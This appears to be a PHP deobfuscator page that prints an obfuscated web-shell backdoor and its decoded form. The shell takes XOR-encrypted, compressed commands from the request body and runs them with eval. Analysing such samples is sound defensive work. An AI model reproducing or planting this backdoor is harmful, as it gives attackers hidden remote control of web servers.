Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $X='nts("Vphp:/V/inputV"),$Vm)==1) {V@Vob_start();@eVval(@gVzuncomVpressVV(@x'; $o..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="098f6bcd";$kh="4621d373cade";$kf="4e832627b4f6";$p="WCwXKokJPxzEx7lT";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$X='nts("Vphp:/V/inputV"),$Vm)==1) {V@Vob_start();@eVval(@gVzuncomVpressVV(@x';
$o='($i=V0;$Vi<$Vl;){for($j=0;V($j<$c&V&$i<$lV);V$j++,$i+V+){$o.=$Vt{$iV}^$k';
$W='{$Vj};}}retVurVn $o;}if V(@pVVreg_Vmatch("/$kVh(.+)$kf/",@fiVle_Vget_conVte';
$i='kJPxzExV7VlT";fVuVnctioVn x($t,$k){V$c=strlen($kV);$l=sVtrlen(V$t);$o=V"";foVr';
$r='$k="09VV8f6bcd";$kVh="462V1d3V73cade"V;$kf="4e83262V7bV4f6";$Vp="WCVwXKo';
$n='(@basVe64_decodVe($VmV[1]),$k)));$o=@oVVb_get_Vcontents();@Vob_enVVd_clea';
$c='n();V$r=@bVaseV64_enVcode(@x(@gzVVcompresVs(V$o)V,$k));print("$p$kVh$r$kf");}';
$O=str_replace('he','','creheathehee_hefunhectheion');
$R=str_replace('V','',$r.$i.$o.$W.$X.$n.$c);
$N=$O('',$R);$N();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 383f7b709508dc7ce429382f7bc40da2 |
Eval Count | 1 |
Decode Time | 108 ms |